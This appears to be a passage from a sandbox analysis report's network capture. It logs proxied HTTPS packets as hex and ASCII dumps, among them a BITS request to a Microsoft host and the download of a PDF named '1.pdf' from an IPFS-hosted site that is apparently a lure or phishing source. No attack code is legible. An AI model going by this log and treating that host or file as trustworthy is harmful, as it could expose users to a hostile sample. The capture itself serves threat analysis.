2024-09-27 06:17:59 UTC	1369	IN	Data Raw: cb 61 81 61 29 60 cf b3 d7 b5 0a 5f 05 50 ed ab 55 87 7f 6c e7 e6 97 0c 56 a2 d5 06 27 0e bd 00 62 02 ea 89 44 4b 4a b4 24 b9 9f 84 d0 a2 f4 23 02 81 88 b1 49 06 7a 40 0a a0 2e a5 b9 d6 ff c4 50 7f 49 22 0c 04 13 45 0b 87 3e 05 ff 87 19 7a b2 43 90 f0 dd ec 02 f1 c4 38 e2 d3 27 83 0d d7 df 72 c9 9e ab ae 5a 79 f8 f0 e1 fb 9f 4e 25 7c 5e 6e 3a 15 e6 72 58 44 b8 90 93 6a 8a 2a 35 03 3f 11 42 62 32 42 ab 85 fa 7b 20 02 9c 9a 3c 83 87 0e ec 47 7f b5 86 20 47 4a c7 52 62 a6 d5 c2 55 bb 77 63 fd d0 20 48 92 62 93 0c 9b 84 00 df 7f f2 49 34 e6 66 d1 5f ab e6 26 51 4a 89 79 29 71 fd de bd 18 aa 54 bc 39 63 c2 78 de b3 d0 e7 79 f3 35 d8 7a 6e 8e 30 a3 02 7a 44 41 88 9c e8 a9 f8 f7 52 85 3c 11 9c 17 ec 04 a2 00 f5 7d 8f 20 fc fa 97 c2 4b 5e 72 e7 6b ef be fb 6e 01 Data Ascii: aa)`_PUlV'bDKJ$#Iz@.PI"E>zC8'rZyN%\|^n:rXDj*5?Bb2B{ <G GJRbUwc HbI4f_&QJy)qT9cxy5zn0zDAR<} K^rkn
2024-09-27 06:17:59 UTC	1369	IN	Data Raw: b8 86 5e cb 5a 10 93 d4 02 90 44 98 9a 99 c5 d0 e0 30 fa 2b 11 48 c6 e9 b5 06 4c 60 2e 89 71 e8 cc 19 90 ee 3c 14 30 42 39 ea d6 af 1a 45 2c 13 d4 e7 1b a6 63 11 ce ca 6b ab d6 0b 90 81 9e 14 f4 50 69 21 35 79 e7 42 4a 7a ed cc 73 34 17 73 35 96 48 d2 fb 29 66 e9 51 7f 27 1f 79 10 54 af 23 52 c0 0b 21 50 a9 54 2a bb 76 ed 7a fd 5d 77 dd f5 8b d7 5e 7b ed 3a e4 03 6f 47 6e 96 55 fa ae c2 52 c1 4e 5d 9f 25 b2 2a b2 b4 13 6b 98 a3 1a 20 42 ab d5 c2 5c 63 1e 1b 56 8f 42 48 a9 ec 78 e5 bd 27 02 82 00 47 27 27 70 cf 53 4f 60 3e 49 58 93 50 9d 85 24 0c 54 aa 58 39 32 82 e9 99 69 35 11 c7 4d 93 e3 1d 27 0b bd c8 83 5e 3b 02 4d a7 00 64 a1 97 e7 0c 7a 51 02 e8 f5 aa c2 4e d5 aa ff 8a 20 c0 fc b1 23 98 3b 7c 00 b5 5a 0d 41 10 20 0c 43 04 41 80 6a b5 5a d9 bd 7b f7 Data Ascii: ^ZD0+HL`.q<0B9E,ckPi!5yBJzs4s5H)fQ'yT#R!PTvz]w^{:oGnURN]%k B\cVBHx'G''pSO`>IXP$TX92i5M'^;MdzQN #;\|ZA CAjZ{
2024-09-27 06:17:59 UTC	1369	IN	Data Raw: 8b 83 9e 16 00 7d 56 d2 b7 19 b2 3b 2b e8 45 57 d0 9b ec 7b d0 77 59 a1 a6 5e 58 34 e6 77 f3 cc 18 e2 b9 39 3d 4f de f9 54 2a 95 0c f0 3d 3d 3d bd 57 5d 75 d5 1b 7f f9 97 7f f9 67 b6 6d db b6 1a cb c0 77 0c 65 d9 bc c2 d9 70 b2 b7 5a 1d 7a fd b6 0d b7 0f 55 c3 51 7b 87 6d c0 41 10 60 6c 6e 16 8f 9d 38 86 8b 37 6d c5 86 c1 21 48 99 28 95 d2 3e 2a 10 c0 d6 55 ab b0 77 e3 06 6c 5f bb 06 db d7 ae 41 4f 6f 2f 0e 1e 3b 86 be de 3e 84 41 88 b1 c9 49 ac 5b b5 0a 15 be 1d b5 fa db 53 ab e1 d8 d4 24 4e 4d 4d e2 a2 4d 9b d1 13 e8 1d 71 74 33 d5 af 71 13 f6 b1 7a 03 8a 1c 48 2e fc 36 d8 fa 1a 9d 20 91 4d 14 fb de 6e ef 7b 27 5a 2f 6a a7 9f 61 d1 3a fd 1e c1 4c 26 d2 2b 16 a5 f9 0d 48 11 60 ed 0d 37 a3 77 c5 4a a3 95 a5 cf 74 ff f2 10 45 51 65 74 74 f4 d2 9d 3b 77 86 Data Ascii: }V;+EW{wY^X4w9=OT===W]ugmwepZzUQ{mA`ln87m!H(>Uwl_AOo/;>AI[S$NMMMqt3qzH.6 Mn{'Z/ja:L&+H`7wJtEQett;w
2024-09-27 06:17:59 UTC	1369	IN	Data Raw: b1 63 07 ee bb ef be c7 66 66 66 f2 80 17 c8 2d f1 dc ef cf f8 50 96 37 c2 e4 04 d7 8b 9c 0b bd 1e 9a 0b d2 8b 84 52 25 29 03 bd 76 a6 09 13 97 59 7f 6d cc 5e d6 c8 b5 5a aa 01 04 8c 16 61 a1 b7 bb a6 3a 92 1f ac e3 11 be 7a 2f 00 0a d4 e9 2c f4 a4 b7 be d2 d0 fb 7d 88 29 0b 7b ef 6c a3 81 f1 44 62 cb 6b df 80 1d af 7c 1d aa 83 83 69 be a4 5d c2 db 18 3b 8d 27 ff ea e3 38 fe b9 bf 42 4f 14 a1 bf 9a be ea ca 78 fd f9 73 b8 23 4f e5 83 84 73 02 5e ef e0 26 12 da 91 67 47 15 9c 2b 4d 07 63 cb 5b bf 92 2b 99 9f 73 c6 d8 81 74 55 9c 94 d2 74 00 0b 09 bd bd bd fd d7 5f 7f fd 5b de f3 9e f7 e0 fd ef 7f ff 87 8e 1d 3b 76 ba a0 a1 fd 8b 78 f3 4c 49 25 7b 65 e8 f5 5b ac cd 9e 7a c0 c1 a4 37 75 29 e9 d5 79 41 06 90 62 49 af ef 15 d9 24 ab 1b ed 9a fa a5 97 f4 40 6a Data Ascii: cfff-P7R%)vYm^Za:z/,}){lDbk\|i];'8BOxs#Os^&gG+Mc[+stUt_[;vxLI%{e[z7u)yAbI$@j
2024-09-27 06:17:59 UTC	148	IN	Data Raw: 1b fe ad ef 7d ef 7b df b2 61 c3 86 85 02 6f 92 71 de 1a ff 39 0e a5 85 dd c2 c0 e6 57 9f 0d f4 da f1 83 7c e8 49 7a c0 95 05 7a c0 48 7a 41 16 f8 84 24 82 5a 0f a2 de 5e 53 66 b2 d5 02 35 9b d0 28 eb 72 8c 25 61 fc 91 87 31 71 df 3d a8 46 91 85 9d cc 2e f7 b9 d0 0b be 5f bd 92 f4 f6 25 96 ac 58 a4 dd 4d 48 cf ee cb f5 6c 39 1a 40 7a 33 9f 5a d3 29 9c 2d f0 79 fb d2 2b 1b fe ad ef 79 cf 7b 16 0a fc 33 ce 86 2f 2d ec d9 90 85 5e 76 82 9e dd Data Ascii: }{aoq9W\|IzzHzA$Z^Sf5(r%a1q=F._%XMHl9@z3Z)-y+y{3/-^v
2024-09-27 06:17:59 UTC	1369	IN	Data Raw: 6b fe 9c 6b e8 f9 80 f4 82 a0 4f ef 59 b0 a4 d7 cf 97 12 22 8a 10 56 aa 36 97 ad 26 90 b4 a0 67 f5 11 08 31 49 4c b5 62 f4 5d 7e 0d 92 a1 15 68 c6 b1 89 d7 ac 94 33 d0 c3 81 1e 22 1f 7a 5d 7e a6 33 65 26 97 15 cc 5c 95 77 8a ce 96 3f 34 f0 64 70 e9 e0 ce 3b a7 c0 eb 0f b7 e1 7f 98 25 7c b9 61 e7 d2 9c 1d 6c 0b 3d 41 11 2b dd d6 67 3d 72 8b 87 5e c2 8e 41 6b c7 99 19 ee d3 71 fa d0 a7 ef 9d b3 63 80 dc 7c e0 0d 76 01 d0 eb e3 42 40 f8 d3 48 39 58 44 88 93 18 71 b5 8a dd 6f 78 23 fa b6 6c 45 a2 c6 b2 9d 8f d0 53 8d 51 08 3d fb 61 ca 91 6c 01 c2 76 8a cc e1 99 d3 df da 8d 44 ec 18 bb e0 89 ee 62 d8 ee 7c 48 78 3d 2c f7 ee 77 bf 7b 31 12 1e 39 df 4b 17 ca 0b 3b 53 f3 ac 93 cd b7 01 3b 40 0f 06 19 ce 01 f4 7c 98 c8 99 54 62 d5 5c 17 7a 99 51 f5 f9 47 18 bf 15 Data Ascii: kkOY"V6&g1ILb]~h3"z]~3e&\w?4dp;%\|al=A+g=r^Akqc\|vB@H9XDqox#lESQ=alvDb\|Hx=,w{19K;S;@\|Tb\zQG
2024-09-27 06:17:59 UTC	1369	IN	Data Raw: d0 b3 a8 8c 4d af a5 9d 56 cf 35 47 ca 96 17 7a e7 1c 63 8a e8 6b 89 69 28 1d a0 37 7f 2c f4 42 04 48 1a 75 c4 f3 f3 a8 0e 0d a7 f7 04 01 aa 23 2b 31 47 a9 bd 9b 24 31 50 eb 45 65 64 45 a6 b9 69 37 a2 1e 43 6f 07 3d 37 79 ec 84 5d 6e c3 a7 d7 6b 7f 89 ef 3c b5 33 f3 dc 8f dd a1 da 96 83 de a6 3b 10 a9 27 4c 0a 42 28 54 fa 44 00 08 09 21 05 f4 9c 42 69 5e 50 29 d8 be 77 7a 78 96 0d d3 9a 0e 20 95 fc 94 24 90 33 d3 98 9c 9a c4 99 a7 1e c7 13 5f fe 07 d4 56 ae c2 ea 8b f6 60 cb d5 d7 61 d3 65 57 60 68 cd 5a 48 02 c2 30 1c 54 e3 f0 f2 7d ef 7b df 87 4e 9c 38 31 ce 32 c8 3d 92 3e f0 3a 94 02 f8 52 c3 ce 6d 6a 0b 3d 3c 49 0f 66 22 da 32 75 84 b2 76 88 e9 23 8b 81 9e 3b f0 58 b0 26 ac 30 36 3c 77 1e 1a 15 d7 81 3e bd be 6b e8 01 af 33 23 04 10 90 cd 26 e2 86 dd Data Ascii: MV5Gzcki(7,BHu#+1G$1PEedEi7Co=7y]nk<3;'LB(TD!Bi^P)wzx $3_V`aeW`hZH0T}{N812=>:Rmj=<If"2uv#;X&06<w>k3#&
2024-09-27 06:17:59 UTC	1369	IN	Data Raw: 3a 72 a5 37 7f 03 8e 4d b6 60 71 ea 4e 4f d7 4d e0 db f8 a9 da 96 7a e9 95 34 d7 9f 40 bd 46 3b 95 e4 42 39 e8 2c e0 ba 33 b5 c3 7e fa 3b 5f 76 23 1c 13 c3 74 0e 6c 28 cf c4 4b e9 de 41 32 08 20 65 82 83 5f fa 3c 56 9f 19 bb e2 8e 9b 6f fa d9 27 9f 7c ea 57 ef bb f7 9e 83 48 79 f2 a5 7b 9e 93 6e 49 a4 7b 69 61 37 ea 14 2c d8 99 20 8a a1 07 5c f5 5e db aa c4 ec 75 c7 b6 e4 c7 08 b9 1d 81 73 31 c1 3e 69 a1 d0 b3 e9 bc 20 17 7a 11 f0 16 c2 a6 0a 7b d0 0b 21 10 02 a8 1f 3f 92 4a ed 50 cd a2 8b 22 0c 6c dd 81 83 df fd 26 46 d6 6d 40 6d 68 24 7d 56 92 a4 f9 27 30 f3 00 ae 74 16 aa c4 89 77 3c ec 5a d5 21 38 2f bc e0 76 3c bb 9a 40 8e 79 6f 5a b8 99 26 ab 3c ef 64 7d 14 7a d3 0d 01 20 01 d2 91 36 22 24 64 5f 5c 19 80 52 1b dd 78 d4 c1 bc ec de 5f 07 66 57 92 9b Data Ascii: :r7M`qNOMz4@F;B9,3~;_v#tl(KA2 e_<Vo'\|WHy{nI{ia7, \^us1>i z{!?JP"l&Fm@mh$}V'0tw<Z!8/v<@yoZ&<d}z 6"$d_\Rx_fW

Timestamp	Bytes transferred	Direction	Data
2024-09-27 06:18:01 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-09-27 06:18:01 UTC	466	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF67) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=37693 Date: Fri, 27 Sep 2024 06:18:01 GMT Connection: close X-CID: 2

Timestamp	Bytes transferred	Direction	Data
2024-09-27 06:18:02 UTC	343	OUT	GET /1.pdf HTTP/1.1 Host: pdf-online.on-fleek.app Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 06:18:02 UTC	1166	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 06:18:02 GMT Content-Type: application/pdf Content-Length: 175997 Connection: close CF-Ray: 8c995fc41d9e43dd-EWR CF-Cache-Status: HIT Accept-Ranges: bytes Access-Control-Allow-Origin: * Age: 87738 Cache-Control: max-age=60, stale-while-revalidate=3600 ETag: "bafkreibgqepz7ttrxvsod4rf4qnvagd6bl6ehvex4edau4nazblwaysqde" Strict-Transport-Security: max-age=31536000; includeSubDomains access-control-allow-headers: Content-Type, Range, User-Agent, X-Requested-With access-control-allow-methods: GET,HEAD,OPTIONS access-control-expose-headers: Content-Length, Content-Range, X-Chunked-Output, X-Ipfs-Path, X-Ipfs-Roots, X-Stream-Output access-control-max-age: 86400 content-security-policy: upgrade-insecure-requests referrer-policy: strict-origin-when-cross-origin x-cache-status: HIT x-content-type-options: nosniff x-ipfs-path: /ipfs/bafybeifmbu2ttwabti5xp77ys3x23v6qdkud5ndbcn2piidi4mucrajf7m/1.pdf/ x-ipfs-roots: bafybeifmbu2ttwabti5xp77ys3x23v6qdkud5ndbcn2piidi4mucrajf7m,bafkreibgqepz7ttrxvsod4rf4qnvagd6bl6ehvex4edau4nazblwaysqde x-request-id: c275482a4dbc935c545e5fea377bf199 x-xss-protection: 0
2024-09-27 06:18:02 UTC	355	IN	Data Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 2e 6e 65 6c 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 5c 2f 72 65 70 6f 72 74 5c 2f 76 34 3f 73 3d 6d 57 71 51 6f 31 50 41 70 63 4b 25 32 46 51 67 56 62 38 4f 36 7a 56 4e 50 70 32 36 44 49 6d 75 75 52 46 49 6d 53 25 32 46 61 66 53 7a 32 6d 63 69 42 4a 6b 36 53 71 71 75 6b 48 47 38 36 4e 6e 45 4d 35 35 41 33 50 64 4b 54 52 6e 44 56 59 75 36 4b 77 6c 43 49 77 30 32 55 42 4c 4a 4d 6e 59 6b 62 63 4f 6f 52 47 4b 55 54 72 34 25 32 42 70 39 52 38 32 72 45 4c 63 6d 55 45 72 51 41 52 45 70 25 32 42 4d 69 4f 53 34 59 70 48 61 34 30 6a 53 4e 41 65 22 7d 5d 2c 22 67 72 6f 75 70 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 Data Ascii: Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mWqQo1PApcK%2FQgVb8O6zVNPp26DImuuRFImS%2FafSz2mciBJk6SqqukHG86NnEM55A3PdKTRnDVYu6KwlCIw02UBLJMnYkbcOoRGKUTr4%2Bp9R82rELcmUErQAREp%2BMiOS4YpHa40jSNAe"}],"group":"cf-nel","max_age
2024-09-27 06:18:02 UTC	1217	IN	Data Raw: 25 50 44 46 2d 31 2e 37 0d 0a 25 b5 b5 b5 b5 0d 0a 31 20 30 20 6f 62 6a 0d 0a 3c 3c 2f 54 79 70 65 2f 43 61 74 61 6c 6f 67 2f 50 61 67 65 73 20 32 20 30 20 52 2f 4c 61 6e 67 28 65 6e 29 20 2f 53 74 72 75 63 74 54 72 65 65 52 6f 6f 74 20 33 32 20 30 20 52 2f 4d 61 72 6b 49 6e 66 6f 3c 3c 2f 4d 61 72 6b 65 64 20 74 72 75 65 3e 3e 2f 4d 65 74 61 64 61 74 61 20 31 33 33 20 30 20 52 2f 56 69 65 77 65 72 50 72 65 66 65 72 65 6e 63 65 73 20 31 33 34 20 30 20 52 3e 3e 0d 0a 65 6e 64 6f 62 6a 0d 0a 32 20 30 20 6f 62 6a 0d 0a 3c 3c 2f 54 79 70 65 2f 50 61 67 65 73 2f 43 6f 75 6e 74 20 32 2f 4b 69 64 73 5b 20 33 20 30 20 52 20 32 37 20 30 20 52 5d 20 3e 3e 0d 0a 65 6e 64 6f 62 6a 0d 0a 33 20 30 20 6f 62 6a 0d 0a 3c 3c 2f 54 79 70 65 2f 50 61 67 65 2f 50 61 72 65 6e Data Ascii: %PDF-1.7%1 0 obj<</Type/Catalog/Pages 2 0 R/Lang(en) /StructTreeRoot 32 0 R/MarkInfo<</Marked true>>/Metadata 133 0 R/ViewerPreferences 134 0 R>>endobj2 0 obj<</Type/Pages/Count 2/Kids[ 3 0 R 27 0 R] >>endobj3 0 obj<</Type/Page/Paren
2024-09-27 06:18:02 UTC	1369	IN	Data Raw: 26 8a a8 6c 0b f7 74 ba f8 42 ce 67 9b e9 3c 94 c1 03 b8 cb 75 4b a5 86 a3 77 2d ad 54 12 c5 e6 41 df 58 db f6 f2 9e 42 cf 3e 20 35 8d 63 62 12 83 76 c0 a8 8a d3 2f 24 e1 ee 87 fe e1 94 87 74 38 e3 a1 06 a0 21 a2 30 51 9d 80 31 b5 35 48 46 45 2a 2a 3b 52 0a aa 3a 45 09 80 53 d4 61 ea 0a a4 8d a6 4c e6 24 27 11 8d e0 01 af 06 f1 4e 0d ea 99 2b 57 21 ae 69 62 ea be 99 a3 b2 1b 15 51 93 27 45 99 f2 84 47 2a 58 80 e6 7c 79 e5 51 9b 17 e3 8c 12 ca 01 b4 8d d4 e5 0e 1a 62 10 7b 15 83 80 35 34 55 8a 4e 30 9f ba 29 be 96 f8 f5 0c 42 41 c1 6c c8 e5 14 fb 8f b3 d1 25 c4 c1 b2 b4 72 d0 33 40 42 72 af 12 62 10 ca b7 10 d0 12 f3 d5 f1 c5 03 91 93 ab 36 31 03 a4 a3 f6 29 1d 1d db 34 b9 42 d1 5b c8 cd 4f 41 46 3a b8 24 97 68 51 56 40 e3 0b 04 72 08 10 48 1b ff 00 89 e8 Data Ascii: &ltBg<uKw-TAXB> 5cbv/$t8!0Q15HFE*;R:ESaL$'N+W!ibQ'EGX\|yQb{54UN0)BAl%r3@Brb61)4B[OAF:$hQV@rH
2024-09-27 06:18:02 UTC	1369	IN	Data Raw: 87 13 ca d7 ca 49 59 8c 72 61 78 3e 60 f3 28 e8 18 68 18 6c 0c d5 6f 5f 36 b0 bb f7 94 54 0f 15 29 ab a9 65 8c fa 6d d5 92 51 c3 86 65 35 c2 17 ca c7 52 4f 03 c1 80 fb e3 39 3a 49 0e 2d 96 ae 48 64 3f 76 21 92 10 f3 58 68 08 68 24 d8 50 76 b8 80 cb 1a 72 f4 00 a6 04 c3 fd ba 36 e9 db d4 e2 50 92 6a ee af c5 d3 e1 9e 5a bc 9c a3 ab 16 ef 9c aa 52 21 6b de 53 8b 67 02 b3 34 57 c4 55 05 00 4f 9a 78 98 ea 87 d0 f9 70 37 db 15 32 90 ed 06 25 05 50 81 a8 43 36 dd f8 32 d9 94 f8 ec 68 03 5f 01 94 e3 73 0a 70 18 94 f3 26 89 2f 39 1c e9 14 46 c4 8a aa 6d 2f 70 48 df be e6 76 77 9c fd 44 61 ed 56 33 ad 4b 34 67 74 09 1b c7 45 9f 5d b1 82 2b d2 b1 0b eb 10 51 f8 f2 c9 ed d6 a7 1e 37 93 f4 1a 30 1e 9b d6 3d cc 7f 07 10 e4 4b 18 b7 21 c8 34 09 12 54 32 17 41 bb dd fe Data Ascii: IYrax>`(hlo_6T)emQe5RO9:I-Hd?v!Xhh$Pvr6PjZR!kSg4WUOxp72%PC62h_sp&/9Fm/pHvwDaV3K4gtE]+Q70=K!4T2A
2024-09-27 06:18:02 UTC	1369	IN	Data Raw: 30 2f 41 76 67 57 69 64 74 68 20 35 33 36 2f 4d 61 78 57 69 64 74 68 20 31 37 38 31 2f 46 6f 6e 74 57 65 69 67 68 74 20 37 30 30 2f 58 48 65 69 67 68 74 20 32 35 30 2f 53 74 65 6d 56 20 35 33 2f 46 6f 6e 74 42 42 6f 78 5b 20 2d 35 31 39 20 2d 32 35 30 20 31 32 36 33 20 37 35 30 5d 20 2f 46 6f 6e 74 46 69 6c 65 32 20 31 32 31 20 30 20 52 3e 3e 0d 0a 65 6e 64 6f 62 6a 0d 0a 37 20 30 20 6f 62 6a 0d 0a 3c 3c 2f 54 79 70 65 2f 45 78 74 47 53 74 61 74 65 2f 42 4d 2f 4e 6f 72 6d 61 6c 2f 63 61 20 31 3e 3e 0d 0a 65 6e 64 6f 62 6a 0d 0a 38 20 30 20 6f 62 6a 0d 0a 3c 3c 2f 54 79 70 65 2f 45 78 74 47 53 74 61 74 65 2f 42 4d 2f 4e 6f 72 6d 61 6c 2f 43 41 20 31 3e 3e 0d 0a 65 6e 64 6f 62 6a 0d 0a 39 20 30 20 6f 62 6a 0d 0a 3c 3c 2f 54 79 70 65 2f 46 6f 6e 74 2f 53 75 Data Ascii: 0/AvgWidth 536/MaxWidth 1781/FontWeight 700/XHeight 250/StemV 53/FontBBox[ -519 -250 1263 750] /FontFile2 121 0 R>>endobj7 0 obj<</Type/ExtGState/BM/Normal/ca 1>>endobj8 0 obj<</Type/ExtGState/BM/Normal/CA 1>>endobj9 0 obj<</Type/Font/Su
2024-09-27 06:18:02 UTC	1369	IN	Data Raw: 6e 74 20 2d 32 35 30 2f 43 61 70 48 65 69 67 68 74 20 37 35 30 2f 41 76 67 57 69 64 74 68 20 35 32 31 2f 4d 61 78 57 69 64 74 68 20 31 37 34 33 2f 46 6f 6e 74 57 65 69 67 68 74 20 34 30 30 2f 58 48 65 69 67 68 74 20 32 35 30 2f 53 74 65 6d 56 20 35 32 2f 46 6f 6e 74 42 42 6f 78 5b 20 2d 35 30 33 20 2d 32 35 30 20 31 32 34 30 20 37 35 30 5d 20 2f 46 6f 6e 74 46 69 6c 65 32 20 31 32 37 20 30 20 52 3e 3e 0d 0a 65 6e 64 6f 62 6a 0d 0a 31 35 20 30 20 6f 62 6a 0d 0a 3c 3c 2f 54 79 70 65 2f 58 4f 62 6a 65 63 74 2f 53 75 62 74 79 70 65 2f 49 6d 61 67 65 2f 57 69 64 74 68 20 31 39 35 2f 48 65 69 67 68 74 20 36 31 2f 43 6f 6c 6f 72 53 70 61 63 65 2f 44 65 76 69 63 65 52 47 42 2f 42 69 74 73 50 65 72 43 6f 6d 70 6f 6e 65 6e 74 20 38 2f 49 6e 74 65 72 70 6f 6c 61 74 Data Ascii: nt -250/CapHeight 750/AvgWidth 521/MaxWidth 1743/FontWeight 400/XHeight 250/StemV 52/FontBBox[ -503 -250 1240 750] /FontFile2 127 0 R>>endobj15 0 obj<</Type/XObject/Subtype/Image/Width 195/Height 61/ColorSpace/DeviceRGB/BitsPerComponent 8/Interpolat
2024-09-27 06:18:02 UTC	1369	IN	Data Raw: da 33 ea f4 8a e1 46 85 8c 1a 3d da 48 82 16 48 be be be b0 48 59 9f ab ff bf 5b 5e 01 ab 7b ce 9c b9 b6 02 92 42 d0 9c 49 c9 c9 d5 0f 1e 4a f6 2d 66 16 14 91 14 de 70 20 39 3b 77 a6 19 56 ac 58 f9 df a4 fa f0 38 f0 6b ae 51 33 3c 01 a4 a0 a0 57 e8 27 de 9a 95 a5 26 b5 69 d3 86 26 15 16 15 1b 6d 50 68 81 84 87 7d fb 46 19 b5 67 c4 a8 51 c8 60 4f 20 29 14 12 12 8a 65 82 64 f7 7e 31 2d 49 52 6c c3 81 04 b3 8a 66 60 fa f0 b7 fc c3 34 35 b8 4b 17 dd 66 78 02 48 5f a5 7e 43 73 46 45 45 d1 d4 ed 3b 77 d1 d4 ee e1 e1 ba 42 74 81 04 5a 97 b9 5e db 18 68 e6 67 9f 7d d6 61 6f 20 81 30 65 c0 0a 95 e9 de 9b b7 ef c8 1c 4c 38 1a 0c 24 ac 13 2b 2a ab d4 54 18 42 11 91 91 94 d9 ec 96 9e 9e ae db 0c b7 03 09 3a f9 c6 cd 5b 6a b6 f2 ca 4a 2c ac 68 c3 66 7f fd 35 95 93 99 Data Ascii: 3F=HHHY[^{BIJ-fp 9;wVX8kQ3<W'&i&mPh}FgQ`O )ed~1-IRlf`45KfxH_~CsFEE;wBtZ^hg}ao 0eL8$+*TB:[jJ,hf5
2024-09-27 06:18:02 UTC	1369	IN	Data Raw: 80 74 f8 e8 ef 9e c0 89 29 bd fd f6 db a6 6d 83 1a 11 0b 71 21 1a 09 3a 47 10 4b c7 df df 1f 93 8e 25 81 98 a1 9c 9d 3b 1b 09 c4 82 22 67 ef 5e 4b 02 2b 2a ab 7a f5 ea a5 15 65 15 48 b5 75 aa 89 5d 3f 71 d4 bf 2e 27 66 f5 9a a1 0c 90 c4 1e 2f 9e 23 7c 50 d3 b6 69 5d fe 18 b9 00 a4 bf b0 f4 cb 0e d8 3f 5a 69 4d 9b 36 fd f5 e0 41 6d fe aa ea 9a df f2 0f 6f df b9 0b ff 52 af 33 95 cf 5d b8 a8 6b 96 c0 36 fb 69 cd 1a 6d fe 07 8f 6a 8f 1d 2f 80 40 18 48 d4 d3 49 65 3c 54 ef 74 a8 e4 02 90 c0 98 53 e8 99 5d 48 48 28 cb 00 3b 6d c5 8a 95 cb 7e f8 61 d7 9e 3d ec ed 54 6f 19 19 20 c9 5f 22 73 23 61 fa 36 75 46 c2 c0 34 0d c3 c5 80 b4 74 d9 32 35 09 53 18 d4 4b df be 51 eb 32 d7 6b eb d2 8d 52 a5 75 00 86 21 34 7a f4 68 6a 06 a3 49 c3 47 8e d4 ee a3 6a dd 26 41 98 Data Ascii: t)mq!:GK%;"g^K+*zeHu]?q.'f/#\|Pi]?ZiM6AmoR3]k6imj/@HIe<TtS]HH(;m~a=To _"s#a6uF4t25SKQ2kRu!4zhjIGj&A
2024-09-27 06:18:02 UTC	1369	IN	Data Raw: 6e 5e 9e a4 47 9f 96 18 90 d0 39 6a c8 17 18 d2 30 d5 be 9c 31 43 1b 40 1e df 48 f7 36 b4 6e 24 40 c8 8c e8 d9 53 41 1d c6 32 24 a7 2d 5a c2 60 09 46 45 5a 81 58 15 6a 05 62 4a 8d 89 89 55 b6 95 00 aa 0e 1d 3a a4 a4 a4 b0 55 00 78 d5 ea d5 4c 9a 18 48 a0 15 ab 56 d1 0c 77 ee 95 6b 7f 17 8f 06 15 87 8d 8d 89 8c 1e ff c1 7a 49 4a 9e 4e 85 dc b8 75 1b 23 c2 fe 40 82 21 e1 9a cf aa 42 ae b9 91 18 bd 32 3e ab 60 a7 02 86 28 db c7 56 19 f3 b2 ae 5f 8a 43 18 52 0c 1f da e8 b4 08 93 8b 76 03 d3 14 48 7e 7e 7e f4 27 0c 6a eb d6 ef 54 01 86 84 84 ea ee e6 a1 25 90 76 a2 b0 50 bb 7c 53 94 bc 9d 81 84 8f 32 63 e6 4c f9 2d 23 5d b2 0a 24 54 9a 38 65 aa c0 3c c0 e7 63 91 87 4d 39 67 df 7e c1 af a8 00 60 df 65 64 58 12 88 6f aa eb 75 60 0a 24 87 de 69 1d bd 18 88 09 d4 Data Ascii: n^G9j01C@H6n$@SA2$-Z`FEZXjbJU:UxLHVwkzIJNu#@!B2>`(V_CRvH~~~'jT%vP\|S2cL-#]$T8e<cM9g~`edXou`$i
2024-09-27 06:18:02 UTC	1369	IN	Data Raw: 2c 0f fe 6f 5f ee 17 02 21 21 53 4e f3 08 ae 81 1e 10 18 51 9e c4 fd 92 da 1a 4b c8 2a f0 4d e0 10 78 d1 11 fe 0a b5 4b 37 5d 3e b8 9f e5 11 ee bc 80 c7 96 fe ae 27 2c f3 13 81 90 f0 df df e2 8e 59 13 ee 03 c2 03 a0 ae 57 1b fd b9 2f 08 49 d0 c0 62 49 e9 09 ca 09 f5 55 2c 23 90 61 6a fe 4c e2 3f 02 21 19 67 b9 83 be e2 03 c2 bb a0 e2 f5 2a 07 2d cd 07 84 3f 80 35 1c b4 12 d0 1e e5 11 c8 46 39 7d bf 3d 20 04 12 bb 8f 3d e8 35 76 c8 e0 19 21 ba 59 d2 ea 32 41 f0 4e 5a ed 1d 21 fc 8a 64 34 65 41 91 a5 e0 df 24 20 dc f5 1d 28 ad 7d 48 60 08 c4 b1 9b 3d ea 42 03 c2 c1 17 35 b9 17 9c 73 85 76 36 c7 30 08 e5 49 8a 0c 62 11 a6 09 45 da e2 79 04 32 15 94 df 92 40 11 48 e4 97 4c ed f5 ec 65 f0 f4 52 b5 7d 29 b4 87 ce 66 10 3c bf 54 0f 89 45 16 09 08 64 87 34 c4 09 Data Ascii: ,o_!!SNQKMxK7]>',YW/IbIU,#ajL?!g-?5F9}= =5v!Y2ANZ!d4eA$ (}H`=B5sv60IbEy2@HLeR})f<TEd4

Timestamp	Bytes transferred	Direction	Data
